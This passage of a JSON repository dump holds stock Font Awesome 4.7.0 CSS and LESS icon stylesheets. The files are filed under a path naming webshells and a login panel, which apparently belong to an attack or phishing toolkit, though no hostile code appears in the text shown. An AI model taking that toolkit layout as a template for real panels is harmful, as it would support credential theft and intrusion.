\"\\f2d2\";\n}\n.fa-times-rectangle:before,\n.fa-window-close:before {\n  content: \"\\f2d3\";\n}\n.fa-times-rectangle-o:before,\n.fa-window-close-o:before {\n  content: \"\\f2d4\";\n}\n.fa-bandcamp:before {\n  content: \"\\f2d5\";\n}\n.fa-grav:before {\n  content: \"\\f2d6\";\n}\n.fa-etsy:before {\n  content: \"\\f2d7\";\n}\n.fa-imdb:before {\n  content: \"\\f2d8\";\n}\n.fa-ravelry:before {\n  content: \"\\f2d9\";\n}\n.fa-eercast:before {\n  content: \"\\f2da\";\n}\n.fa-microchip:before {\n  content: \"\\f2db\";\n}\n.fa-snowflake-o:before {\n  content: \"\\f2dc\";\n}\n.fa-superpowers:before {\n  content: \"\\f2dd\";\n}\n.fa-wpexplorer:before {\n  content: \"\\f2de\";\n}\n.fa-meetup:before {\n  content: \"\\f2e0\";\n}\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  margin: 0;\n  overflow: visible;\n  clip: auto;\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/animated.less",
    "content": "// Animated Icons\n// --------------------------\n\n.@{fa-css-prefix}-spin {\n  -webkit-animation: fa-spin 2s infinite linear;\n          animation: fa-spin 2s infinite linear;\n}\n\n.@{fa-css-prefix}-pulse {\n  -webkit-animation: fa-spin 1s infinite steps(8);\n          animation: fa-spin 1s infinite steps(8);\n}\n\n@-webkit-keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n            transform: rotate(359deg);\n  }\n}\n\n@keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n            transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n            transform: rotate(359deg);\n  }\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/bordered-pulled.less",
    "content": "// Bordered & Pulled\n// -------------------------\n\n.@{fa-css-prefix}-border {\n  padding: .2em .25em .15em;\n  border: solid .08em @fa-border-color;\n  border-radius: .1em;\n}\n\n.@{fa-css-prefix}-pull-left { float: left; }\n.@{fa-css-prefix}-pull-right { float: right; }\n\n.@{fa-css-prefix} {\n  &.@{fa-css-prefix}-pull-left { margin-right: .3em; }\n  &.@{fa-css-prefix}-pull-right { margin-left: .3em; }\n}\n\n/* Deprecated as of 4.4.0 */\n.pull-right { float: right; }\n.pull-left { float: left; }\n\n.@{fa-css-prefix} {\n  &.pull-left { margin-right: .3em; }\n  &.pull-right { margin-left: .3em; }\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/core.less",
    "content": "// Base Class Definition\n// -------------------------\n\n.@{fa-css-prefix} {\n  display: inline-block;\n  font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration\n  font-size: inherit; // can't have font-size inherit on line above, so need to override\n  text-rendering: auto; // optimizelegibility throws things off #1094\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/fixed-width.less",
    "content": "// Fixed Width Icons\n// -------------------------\n.@{fa-css-prefix}-fw {\n  width: (18em / 14);\n  text-align: center;\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/font-awesome.less",
    "content": "/*!\n *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome\n *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)\n */\n\n@import \"variables.less\";\n@import \"mixins.less\";\n@import \"path.less\";\n@import \"core.less\";\n@import \"larger.less\";\n@import \"fixed-width.less\";\n@import \"list.less\";\n@import \"bordered-pulled.less\";\n@import \"animated.less\";\n@import \"rotated-flipped.less\";\n@import \"stacked.less\";\n@import \"icons.less\";\n@import \"screen-reader.less\";\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/icons.less",
    "content": "/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen\n   readers do not read off random characters that represent icons */\n\n.@{fa-css-prefix}-glass:before { content: @fa-var-glass; }\n.@{fa-css-prefix}-music:before { content: @fa-var-music; }\n.@{fa-css-prefix}-search:before { content: @fa-var-search; }\n.@{fa-css-prefix}-envelope-o:before { content: @fa-var-envelope-o; }\n.@{fa-css-prefix}-heart:before { content: @fa-var-heart; }\n.@{fa-css-prefix}-star:before { content: @fa-var-star; }\n.@{fa-css-prefix}-star-o:before { content: @fa-var-star-o; }\n.@{fa-css-prefix}-user:before { content: @fa-var-user; }\n.@{fa-css-prefix}-film:before { content: @fa-var-film; }\n.@{fa-css-prefix}-th-large:before { content: @fa-var-th-large; }\n.@{fa-css-prefix}-th:before { content: @fa-var-th; }\n.@{fa-css-prefix}-th-list:before { content: @fa-var-th-list; }\n.@{fa-css-prefix}-check:before { content: @fa-var-check; }\n.@{fa-css-prefix}-remove:before,\n.@{fa-css-prefix}-close:before,\n.@{fa-css-prefix}-times:before { content: @fa-var-times; }\n.@{fa-css-prefix}-search-plus:before { content: @fa-var-search-plus; }\n.@{fa-css-prefix}-search-minus:before { content: @fa-var-search-minus; }\n.@{fa-css-prefix}-power-off:before { content: @fa-var-power-off; }\n.@{fa-css-prefix}-signal:before { content: @fa-var-signal; }\n.@{fa-css-prefix}-gear:before,\n.@{fa-css-prefix}-cog:before { content: @fa-var-cog; }\n.@{fa-css-prefix}-trash-o:before { content: @fa-var-trash-o; }\n.@{fa-css-prefix}-home:before { content: @fa-var-home; }\n.@{fa-css-prefix}-file-o:before { content: @fa-var-file-o; }\n.@{fa-css-prefix}-clock-o:before { content: @fa-var-clock-o; }\n.@{fa-css-prefix}-road:before { content: @fa-var-road; }\n.@{fa-css-prefix}-download:before { content: @fa-var-download; }\n.@{fa-css-prefix}-arrow-circle-o-down:before { content: @fa-var-arrow-circle-o-down; }\n.@{fa-css-prefix}-arrow-circle-o-up:before { content: @fa-var-arrow-circle-o-up; }\n.@{fa-css-prefix}-inbox:before { content: @fa-var-inbox; }\n.@{fa-css-prefix}-play-circle-o:before { content: @fa-var-play-circle-o; }\n.@{fa-css-prefix}-rotate-right:before,\n.@{fa-css-prefix}-repeat:before { content: @fa-var-repeat; }\n.@{fa-css-prefix}-refresh:before { content: @fa-var-refresh; }\n.@{fa-css-prefix}-list-alt:before { content: @fa-var-list-alt; }\n.@{fa-css-prefix}-lock:before { content: @fa-var-lock; }\n.@{fa-css-prefix}-flag:before { content: @fa-var-flag; }\n.@{fa-css-prefix}-headphones:before { content: @fa-var-headphones; }\n.@{fa-css-prefix}-volume-off:before { content: @fa-var-volume-off; }\n.@{fa-css-prefix}-volume-down:before { content: @fa-var-volume-down; }\n.@{fa-css-prefix}-volume-up:before { content: @fa-var-volume-up; }\n.@{fa-css-prefix}-qrcode:before { content: @fa-var-qrcode; }\n.@{fa-css-prefix}-barcode:before { content: @fa-var-barcode; }\n.@{fa-css-prefix}-tag:before { content: @fa-var-tag; }\n.@{fa-css-prefix}-tags:before { content: @fa-var-tags; }\n.@{fa-css-prefix}-book:before { content: @fa-var-book; }\n.@{fa-css-prefix}-bookmark:before { content: @fa-var-bookmark; }\n.@{fa-css-prefix}-print:before { content: @fa-var-print; }\n.@{fa-css-prefix}-camera:before { content: @fa-var-camera; }\n.@{fa-css-prefix}-font:before { content: @fa-var-font; }\n.@{fa-css-prefix}-bold:before { content: @fa-var-bold; }\n.@{fa-css-prefix}-italic:before { content: @fa-var-italic; }\n.@{fa-css-prefix}-text-height:before { content: @fa-var-text-height; }\n.@{fa-css-prefix}-text-width:before { content: @fa-var-text-width; }\n.@{fa-css-prefix}-align-left:before { content: @fa-var-align-left; }\n.@{fa-css-prefix}-align-center:before { content: @fa-var-align-center; }\n.@{fa-css-prefix}-align-right:before { content: @fa-var-align-right; }\n.@{fa-css-prefix}-align-justify:before { content: @fa-var-align-justify; }\n.@{fa-css-prefix}-list:before { content: @fa-var-list; }\n.@{fa-css-prefix}-dedent:before,\n.@{fa-css-prefix}-outdent:before { content: @fa-var-outdent; }\n.@{fa-css-prefix}-indent:before { content: @fa-var-indent; }\n.@{fa-css-prefix}-video-camera:before { content: @fa-var-video-camera; }\n.@{fa-css-prefix}-photo:before,\n.@{fa-css-prefix}-image:before,\n.@{fa-css-prefix}-picture-o:before { content: @fa-var-picture-o; }\n.@{fa-css-prefix}-pencil:before { content: @fa-var-pencil; }\n.@{fa-css-prefix}-map-marker:before { content: @fa-var-map-marker; }\n.@{fa-css-prefix}-adjust:before { content: @fa-var-adjust; }\n.@{fa-css-prefix}-tint:before { content: @fa-var-tint; }\n.@{fa-css-prefix}-edit:before,\n.@{fa-css-prefix}-pencil-square-o:before { content: @fa-var-pencil-square-o; }\n.@{fa-css-prefix}-share-square-o:before { content: @fa-var-share-square-o; }\n.@{fa-css-prefix}-check-square-o:before { content: @fa-var-check-square-o; }\n.@{fa-css-prefix}-arrows:before { content: @fa-var-arrows; }\n.@{fa-css-prefix}-step-backward:before { content: @fa-var-step-backward; }\n.@{fa-css-prefix}-fast-backward:before { content: @fa-var-fast-backward; }\n.@{fa-css-prefix}-backward:before { content: @fa-var-backward; }\n.@{fa-css-prefix}-play:before { content: @fa-var-play; }\n.@{fa-css-prefix}-pause:before { content: @fa-var-pause; }\n.@{fa-css-prefix}-stop:before { content: @fa-var-stop; }\n.@{fa-css-prefix}-forward:before { content: @fa-var-forward; }\n.@{fa-css-prefix}-fast-forward:before { content: @fa-var-fast-forward; }\n.@{fa-css-prefix}-step-forward:before { content: @fa-var-step-forward; }\n.@{fa-css-prefix}-eject:before { content: @fa-var-eject; }\n.@{fa-css-prefix}-chevron-left:before { content: @fa-var-chevron-left; }\n.@{fa-css-prefix}-chevron-right:before { content: @fa-var-chevron-right; }\n.@{fa-css-prefix}-plus-circle:before { content: @fa-var-plus-circle; }\n.@{fa-css-prefix}-minus-circle:before { content: @fa-var-minus-circle; }\n.@{fa-css-prefix}-times-circle:before { content: @fa-var-times-circle; }\n.@{fa-css-prefix}-check-circle:before { content: @fa-var-check-circle; }\n.@{fa-css-prefix}-question-circle:before { content: @fa-var-question-circle; }\n.@{fa-css-prefix}-info-circle:before { content: @fa-var-info-circle; }\n.@{fa-css-prefix}-crosshairs:before { content: @fa-var-crosshairs; }\n.@{fa-css-prefix}-times-circle-o:before { content: @fa-var-times-circle-o; }\n.@{fa-css-prefix}-check-circle-o:before { content: @fa-var-check-circle-o; }\n.@{fa-css-prefix}-ban:before { content: @fa-var-ban; }\n.@{fa-css-prefix}-arrow-left:before { content: @fa-var-arrow-left; }\n.@{fa-css-prefix}-arrow-right:before { content: @fa-var-arrow-right; }\n.@{fa-css-prefix}-arrow-up:before { content: @fa-var-arrow-up; }\n.@{fa-css-prefix}-arrow-down:before { content: @fa-var-arrow-down; }\n.@{fa-css-prefix}-mail-forward:before,\n.@{fa-css-prefix}-share:before { content: @fa-var-share; }\n.@{fa-css-prefix}-expand:before { content: @fa-var-expand; }\n.@{fa-css-prefix}-compress:before { content: @fa-var-compress; }\n.@{fa-css-prefix}-plus:before { content: @fa-var-plus; }\n.@{fa-css-prefix}-minus:before { content: @fa-var-minus; }\n.@{fa-css-prefix}-asterisk:before { content: @fa-var-asterisk; }\n.@{fa-css-prefix}-exclamation-circle:before { content: @fa-var-exclamation-circle; }\n.@{fa-css-prefix}-gift:before { content: @fa-var-gift; }\n.@{fa-css-prefix}-leaf:before { content: @fa-var-leaf; }\n.@{fa-css-prefix}-fire:before { content: @fa-var-fire; }\n.@{fa-css-prefix}-eye:before { content: @fa-var-eye; }\n.@{fa-css-prefix}-eye-slash:before { content: @fa-var-eye-slash; }\n.@{fa-css-prefix}-warning:before,\n.@{fa-css-prefix}-exclamation-triangle:before { content: @fa-var-exclamation-triangle; }\n.@{fa-css-prefix}-plane:before { content: @fa-var-plane; }\n.@{fa-css-prefix}-calendar:before { content: @fa-var-calendar; }\n.@{fa-css-prefix}-random:before { content: @fa-var-random; }\n.@{fa-css-prefix}-comment:before { content: @fa-var-comment; }\n.@{fa-css-prefix}-magnet:before { content: @fa-var-magnet; }\n.@{fa-css-prefix}-chevron-up:before { content: @fa-var-chevron-up; }\n.@{fa-css-prefix}-chevron-down:before { content: @fa-var-chevron-down; }\n.@{fa-css-prefix}-retweet:before { content: @fa-var-retweet; }\n.@{fa-css-prefix}-shopping-cart:before { content: @fa-var-shopping-cart; }\n.@{fa-css-prefix}-folder:before { content: @fa-var-folder; }\n.@{fa-css-prefix}-folder-open:before { content: @fa-var-folder-open; }\n.@{fa-css-prefix}-arrows-v:before { content: @fa-var-arrows-v; }\n.@{fa-css-prefix}-arrows-h:before { content: @fa-var-arrows-h; }\n.@{fa-css-prefix}-bar-chart-o:before,\n.@{fa-css-prefix}-bar-chart:before { content: @fa-var-bar-chart; }\n.@{fa-css-prefix}-twitter-square:before { content: @fa-var-twitter-square; }\n.@{fa-css-prefix}-facebook-square:before { content: @fa-var-facebook-square; }\n.@{fa-css-prefix}-camera-retro:before { content: @fa-var-camera-retro; }\n.@{fa-css-prefix}-key:before { content: @fa-var-key; }\n.@{fa-css-prefix}-gears:before,\n.@{fa-css-prefix}-cogs:before { content: @fa-var-cogs; }\n.@{fa-css-prefix}-comments:before { content: @fa-var-comments; }\n.@{fa-css-prefix}-thumbs-o-up:before { content: @fa-var-thumbs-o-up; }\n.@{fa-css-prefix}-thumbs-o-down:before { content: @fa-var-thumbs-o-down; }\n.@{fa-css-prefix}-star-half:before { content: @fa-var-star-half; }\n.@{fa-css-prefix}-heart-o:before { content: @fa-var-heart-o; }\n.@{fa-css-prefix}-sign-out:before { content: @fa-var-sign-out; }\n.@{fa-css-prefix}-linkedin-square:before { content: @fa-var-linkedin-square; }\n.@{fa-css-prefix}-thumb-tack:before { content: @fa-var-thumb-tack; }\n.@{fa-css-prefix}-external-link:before { content: @fa-var-external-link; }\n.@{fa-css-prefix}-sign-in:before { content: @fa-var-sign-in; }\n.@{fa-css-prefix}-trophy:before { content: @fa-var-trophy; }\n.@{fa-css-prefix}-github-square:before { content: @fa-var-github-square; }\n.@{fa-css-prefix}-upload:before { content: @fa-var-upload; }\n.@{fa-css-prefix}-lemon-o:before { content: @fa-var-lemon-o; }\n.@{fa-css-prefix}-phone:before { content: @fa-var-phone; }\n.@{fa-css-prefix}-square-o:before { content: @fa-var-square-o; }\n.@{fa-css-prefix}-bookmark-o:before { content: @fa-var-bookmark-o; }\n.@{fa-css-prefix}-phone-square:before { content: @fa-var-phone-square; }\n.@{fa-css-prefix}-twitter:before { content: @fa-var-twitter; }\n.@{fa-css-prefix}-facebook-f:before,\n.@{fa-css-prefix}-facebook:before { content: @fa-var-facebook; }\n.@{fa-css-prefix}-github:before { content: @fa-var-github; }\n.@{fa-css-prefix}-unlock:before { content: @fa-var-unlock; }\n.@{fa-css-prefix}-credit-card:before { content: @fa-var-credit-card; }\n.@{fa-css-prefix}-feed:before,\n.@{fa-css-prefix}-rss:before { content: @fa-var-rss; }\n.@{fa-css-prefix}-hdd-o:before { content: @fa-var-hdd-o; }\n.@{fa-css-prefix}-bullhorn:before { content: @fa-var-bullhorn; }\n.@{fa-css-prefix}-bell:before { content: @fa-var-bell; }\n.@{fa-css-prefix}-certificate:before { content: @fa-var-certificate; }\n.@{fa-css-prefix}-hand-o-right:before { content: @fa-var-hand-o-right; }\n.@{fa-css-prefix}-hand-o-left:before { content: @fa-var-hand-o-left; }\n.@{fa-css-prefix}-hand-o-up:before { content: @fa-var-hand-o-up; }\n.@{fa-css-prefix}-hand-o-down:before { content: @fa-var-hand-o-down; }\n.@{fa-css-prefix}-arrow-circle-left:before { content: @fa-var-arrow-circle-left; }\n.@{fa-css-prefix}-arrow-circle-right:before { content: @fa-var-arrow-circle-right; }\n.@{fa-css-prefix}-arrow-circle-up:before { content: @fa-var-arrow-circle-up; }\n.@{fa-css-prefix}-arrow-circle-down:before { content: @fa-var-arrow-circle-down; }\n.@{fa-css-prefix}-globe:before { content: @fa-var-globe; }\n.@{fa-css-prefix}-wrench:before { content: @fa-var-wrench; }\n.@{fa-css-prefix}-tasks:before { content: @fa-var-tasks; }\n.@{fa-css-prefix}-filter:before { content: @fa-var-filter; }\n.@{fa-css-prefix}-briefcase:before { content: @fa-var-briefcase; }\n.@{fa-css-prefix}-arrows-alt:before { content: @fa-var-arrows-alt; }\n.@{fa-css-prefix}-group:before,\n.@{fa-css-prefix}-users:before { content: @fa-var-users; }\n.@{fa-css-prefix}-chain:before,\n.@{fa-css-prefix}-link:before { content: @fa-var-link; }\n.@{fa-css-prefix}-cloud:before { content: @fa-var-cloud; }\n.@{fa-css-prefix}-flask:before { content: @fa-var-flask; }\n.@{fa-css-prefix}-cut:before,\n.@{fa-css-prefix}-scissors:before { content: @fa-var-scissors; }\n.@{fa-css-prefix}-copy:before,\n.@{fa-css-prefix}-files-o:before { content: @fa-var-files-o; }\n.@{fa-css-prefix}-paperclip:before { content: @fa-var-paperclip; }\n.@{fa-css-prefix}-save:before,\n.@{fa-css-prefix}-floppy-o:before { content: @fa-var-floppy-o; }\n.@{fa-css-prefix}-square:before { content: @fa-var-square; }\n.@{fa-css-prefix}-navicon:before,\n.@{fa-css-prefix}-reorder:before,\n.@{fa-css-prefix}-bars:before { content: @fa-var-bars; }\n.@{fa-css-prefix}-list-ul:before { content: @fa-var-list-ul; }\n.@{fa-css-prefix}-list-ol:before { content: @fa-var-list-ol; }\n.@{fa-css-prefix}-strikethrough:before { content: @fa-var-strikethrough; }\n.@{fa-css-prefix}-underline:before { content: @fa-var-underline; }\n.@{fa-css-prefix}-table:before { content: @fa-var-table; }\n.@{fa-css-prefix}-magic:before { content: @fa-var-magic; }\n.@{fa-css-prefix}-truck:before { content: @fa-var-truck; }\n.@{fa-css-prefix}-pinterest:before { content: @fa-var-pinterest; }\n.@{fa-css-prefix}-pinterest-square:before { content: @fa-var-pinterest-square; }\n.@{fa-css-prefix}-google-plus-square:before { content: @fa-var-google-plus-square; }\n.@{fa-css-prefix}-google-plus:before { content: @fa-var-google-plus; }\n.@{fa-css-prefix}-money:before { content: @fa-var-money; }\n.@{fa-css-prefix}-caret-down:before { content: @fa-var-caret-down; }\n.@{fa-css-prefix}-caret-up:before { content: @fa-var-caret-up; }\n.@{fa-css-prefix}-caret-left:before { content: @fa-var-caret-left; }\n.@{fa-css-prefix}-caret-right:before { content: @fa-var-caret-right; }\n.@{fa-css-prefix}-columns:before { content: @fa-var-columns; }\n.@{fa-css-prefix}-unsorted:before,\n.@{fa-css-prefix}-sort:before { content: @fa-var-sort; }\n.@{fa-css-prefix}-sort-down:before,\n.@{fa-css-prefix}-sort-desc:before { content: @fa-var-sort-desc; }\n.@{fa-css-prefix}-sort-up:before,\n.@{fa-css-prefix}-sort-asc:before { content: @fa-var-sort-asc; }\n.@{fa-css-prefix}-envelope:before { content: @fa-var-envelope; }\n.@{fa-css-prefix}-linkedin:before { content: @fa-var-linkedin; }\n.@{fa-css-prefix}-rotate-left:before,\n.@{fa-css-prefix}-undo:before { content: @fa-var-undo; }\n.@{fa-css-prefix}-legal:before,\n.@{fa-css-prefix}-gavel:before { content: @fa-var-gavel; }\n.@{fa-css-prefix}-dashboard:before,\n.@{fa-css-prefix}-tachometer:before { content: @fa-var-tachometer; }\n.@{fa-css-prefix}-comment-o:before { content: @fa-var-comment-o; }\n.@{fa-css-prefix}-comments-o:before { content: @fa-var-comments-o; }\n.@{fa-css-prefix}-flash:before,\n.@{fa-css-prefix}-bolt:before { content: @fa-var-bolt; }\n.@{fa-css-prefix}-sitemap:before { content: @fa-var-sitemap; }\n.@{fa-css-prefix}-umbrella:before { content: @fa-var-umbrella; }\n.@{fa-css-prefix}-paste:before,\n.@{fa-css-prefix}-clipboard:before { content: @fa-var-clipboard; }\n.@{fa-css-prefix}-lightbulb-o:before { content: @fa-var-lightbulb-o; }\n.@{fa-css-prefix}-exchange:before { content: @fa-var-exchange; }\n.@{fa-css-prefix}-cloud-download:before { content: @fa-var-cloud-download; }\n.@{fa-css-prefix}-cloud-upload:before { content: @fa-var-cloud-upload; }\n.@{fa-css-prefix}-user-md:before { content: @fa-var-user-md; }\n.@{fa-css-prefix}-stethoscope:before { content: @fa-var-stethoscope; }\n.@{fa-css-prefix}-suitcase:before { content: @fa-var-suitcase; }\n.@{fa-css-prefix}-bell-o:before { content: @fa-var-bell-o; }\n.@{fa-css-prefix}-coffee:before { content: @fa-var-coffee; }\n.@{fa-css-prefix}-cutlery:before { content: @fa-var-cutlery; }\n.@{fa-css-prefix}-file-text-o:before { content: @fa-var-file-text-o; }\n.@{fa-css-prefix}-building-o:before { content: @fa-var-building-o; }\n.@{fa-css-prefix}-hospital-o:before { content: @fa-var-hospital-o; }\n.@{fa-css-prefix}-ambulance:before { content: @fa-var-ambulance; }\n.@{fa-css-prefix}-medkit:before { content: @fa-var-medkit; }\n.@{fa-css-prefix}-fighter-jet:before { content: @fa-var-fighter-jet; }\n.@{fa-css-prefix}-beer:before { content: @fa-var-beer; }\n.@{fa-css-prefix}-h-square:before { content: @fa-var-h-square; }\n.@{fa-css-prefix}-plus-square:before { content: @fa-var-plus-square; }\n.@{fa-css-prefix}-angle-double-left:before { content: @fa-var-angle-double-left; }\n.@{fa-css-prefix}-angle-double-right:before { content: @fa-var-angle-double-right; }\n.@{fa-css-prefix}-angle-double-up:before { content: @fa-var-angle-double-up; }\n.@{fa-css-prefix}-angle-double-down:before { content: @fa-var-angle-double-down; }\n.@{fa-css-prefix}-angle-left:before { content: @fa-var-angle-left; }\n.@{fa-css-prefix}-angle-right:before { content: @fa-var-angle-right; }\n.@{fa-css-prefix}-angle-up:before { content: @fa-var-angle-up; }\n.@{fa-css-prefix}-angle-down:before { content: @fa-var-angle-down; }\n.@{fa-css-prefix}-desktop:before { content: @fa-var-desktop; }\n.@{fa-css-prefix}-laptop:before { content: @fa-var-laptop; }\n.@{fa-css-prefix}-tablet:before { content: @fa-var-tablet; }\n.@{fa-css-prefix}-mobile-phone:before,\n.@{fa-css-prefix}-mobile:before { content: @fa-var-mobile; }\n.@{fa-css-prefix}-circle-o:before { content: @fa-var-circle-o; }\n.@{fa-css-prefix}-quote-left:before { content: @fa-var-quote-left; }\n.@{fa-css-prefix}-quote-right:before { content: @fa-var-quote-right; }\n.@{fa-css-prefix}-spinner:before { content: @fa-var-spinner; }\n.@{fa-css-prefix}-circle:before { content: @fa-var-circle; }\n.@{fa-css-prefix}-mail-reply:before,\n.@{fa-css-prefix}-reply:before { content: @fa-var-reply; }\n.@{fa-css-prefix}-github-alt:before { content: @fa-var-github-alt; }\n.@{fa-css-prefix}-folder-o:before { content: @fa-var-folder-o; }\n.@{fa-css-prefix}-folder-open-o:before { content: @fa-var-folder-open-o; }\n.@{fa-css-prefix}-smile-o:before { content: @fa-var-smile-o; }\n.@{fa-css-prefix}-frown-o:before { content: @fa-var-frown-o; }\n.@{fa-css-prefix}-meh-o:before { content: @fa-var-meh-o; }\n.@{fa-css-prefix}-gamepad:before { content: @fa-var-gamepad; }\n.@{fa-css-prefix}-keyboard-o:before { content: @fa-var-keyboard-o; }\n.@{fa-css-prefix}-flag-o:before { content: @fa-var-flag-o; }\n.@{fa-css-prefix}-flag-checkered:before { content: @fa-var-flag-checkered; }\n.@{fa-css-prefix}-terminal:before { content: @fa-var-terminal; }\n.@{fa-css-prefix}-code:before { content: @fa-var-code; }\n.@{fa-css-prefix}-mail-reply-all:before,\n.@{fa-css-prefix}-reply-all:before { content: @fa-var-reply-all; }\n.@{fa-css-prefix}-star-half-empty:before,\n.@{fa-css-prefix}-star-half-full:before,\n.@{fa-css-prefix}-star-half-o:before { content: @fa-var-star-half-o; }\n.@{fa-css-prefix}-location-arrow:before { content: @fa-var-location-arrow; }\n.@{fa-css-prefix}-crop:before { content: @fa-var-crop; }\n.@{fa-css-prefix}-code-fork:before { content: @fa-var-code-fork; }\n.@{fa-css-prefix}-unlink:before,\n.@{fa-css-prefix}-chain-broken:before { content: @fa-var-chain-broken; }\n.@{fa-css-prefix}-question:before { content: @fa-var-question; }\n.@{fa-css-prefix}-info:before { content: @fa-var-info; }\n.@{fa-css-prefix}-exclamation:before { content: @fa-var-exclamation; }\n.@{fa-css-prefix}-superscript:before { content: @fa-var-superscript; }\n.@{fa-css-prefix}-subscript:before { content: @fa-var-subscript; }\n.@{fa-css-prefix}-eraser:before { content: @fa-var-eraser; }\n.@{fa-css-prefix}-puzzle-piece:before { content: @fa-var-puzzle-piece; }\n.@{fa-css-prefix}-microphone:before { content: @fa-var-microphone; }\n.@{fa-css-prefix}-microphone-slash:before { content: @fa-var-microphone-slash; }\n.@{fa-css-prefix}-shield:before { content: @fa-var-shield; }\n.@{fa-css-prefix}-calendar-o:before { content: @fa-var-calendar-o; }\n.@{fa-css-prefix}-fire-extinguisher:before { content: @fa-var-fire-extinguisher; }\n.@{fa-css-prefix}-rocket:before { content: @fa-var-rocket; }\n.@{fa-css-prefix}-maxcdn:before { content: @fa-var-maxcdn; }\n.@{fa-css-prefix}-chevron-circle-left:before { content: @fa-var-chevron-circle-left; }\n.@{fa-css-prefix}-chevron-circle-right:before { content: @fa-var-chevron-circle-right; }\n.@{fa-css-prefix}-chevron-circle-up:before { content: @fa-var-chevron-circle-up; }\n.@{fa-css-prefix}-chevron-circle-down:before { content: @fa-var-chevron-circle-down; }\n.@{fa-css-prefix}-html5:before { content: @fa-var-html5; }\n.@{fa-css-prefix}-css3:before { content: @fa-var-css3; }\n.@{fa-css-prefix}-anchor:before { content: @fa-var-anchor; }\n.@{fa-css-prefix}-unlock-alt:before { content: @fa-var-unlock-alt; }\n.@{fa-css-prefix}-bullseye:before { content: @fa-var-bullseye; }\n.@{fa-css-prefix}-ellipsis-h:before { content: @fa-var-ellipsis-h; }\n.@{fa-css-prefix}-ellipsis-v:before { content: @fa-var-ellipsis-v; }\n.@{fa-css-prefix}-rss-square:before { content: @fa-var-rss-square; }\n.@{fa-css-prefix}-play-circle:before { content: @fa-var-play-circle; }\n.@{fa-css-prefix}-ticket:before { content: @fa-var-ticket; }\n.@{fa-css-prefix}-minus-square:before { content: @fa-var-minus-square; }\n.@{fa-css-prefix}-minus-square-o:before { content: @fa-var-minus-square-o; }\n.@{fa-css-prefix}-level-up:before { content: @fa-var-level-up; }\n.@{fa-css-prefix}-level-down:before { content: @fa-var-level-down; }\n.@{fa-css-prefix}-check-square:before { content: @fa-var-check-square; }\n.@{fa-css-prefix}-pencil-square:before { content: @fa-var-pencil-square; }\n.@{fa-css-prefix}-external-link-square:before { content: @fa-var-external-link-square; }\n.@{fa-css-prefix}-share-square:before { content: @fa-var-share-square; }\n.@{fa-css-prefix}-compass:before { content: @fa-var-compass; }\n.@{fa-css-prefix}-toggle-down:before,\n.@{fa-css-prefix}-caret-square-o-down:before { content: @fa-var-caret-square-o-down; }\n.@{fa-css-prefix}-toggle-up:before,\n.@{fa-css-prefix}-caret-square-o-up:before { content: @fa-var-caret-square-o-up; }\n.@{fa-css-prefix}-toggle-right:before,\n.@{fa-css-prefix}-caret-square-o-right:before { content: @fa-var-caret-square-o-right; }\n.@{fa-css-prefix}-euro:before,\n.@{fa-css-prefix}-eur:before { content: @fa-var-eur; }\n.@{fa-css-prefix}-gbp:before { content: @fa-var-gbp; }\n.@{fa-css-prefix}-dollar:before,\n.@{fa-css-prefix}-usd:before { content: @fa-var-usd; }\n.@{fa-css-prefix}-rupee:before,\n.@{fa-css-prefix}-inr:before { content: @fa-var-inr; }\n.@{fa-css-prefix}-cny:before,\n.@{fa-css-prefix}-rmb:before,\n.@{fa-css-prefix}-yen:before,\n.@{fa-css-prefix}-jpy:before { content: @fa-var-jpy; }\n.@{fa-css-prefix}-ruble:before,\n.@{fa-css-prefix}-rouble:before,\n.@{fa-css-prefix}-rub:before { content: @fa-var-rub; }\n.@{fa-css-prefix}-won:before,\n.@{fa-css-prefix}-krw:before { content: @fa-var-krw; }\n.@{fa-css-prefix}-bitcoin:before,\n.@{fa-css-prefix}-btc:before { content: @fa-var-btc; }\n.@{fa-css-prefix}-file:before { content: @fa-var-file; }\n.@{fa-css-prefix}-file-text:before { content: @fa-var-file-text; }\n.@{fa-css-prefix}-sort-alpha-asc:before { content: @fa-var-sort-alpha-asc; }\n.@{fa-css-prefix}-sort-alpha-desc:before { content: @fa-var-sort-alpha-desc; }\n.@{fa-css-prefix}-sort-amount-asc:before { content: @fa-var-sort-amount-asc; }\n.@{fa-css-prefix}-sort-amount-desc:before { content: @fa-var-sort-amount-desc; }\n.@{fa-css-prefix}-sort-numeric-asc:before { content: @fa-var-sort-numeric-asc; }\n.@{fa-css-prefix}-sort-numeric-desc:before { content: @fa-var-sort-numeric-desc; }\n.@{fa-css-prefix}-thumbs-up:before { content: @fa-var-thumbs-up; }\n.@{fa-css-prefix}-thumbs-down:before { content: @fa-var-thumbs-down; }\n.@{fa-css-prefix}-youtube-square:before { content: @fa-var-youtube-square; }\n.@{fa-css-prefix}-youtube:before { content: @fa-var-youtube; }\n.@{fa-css-prefix}-xing:before { content: @fa-var-xing; }\n.@{fa-css-prefix}-xing-square:before { content: 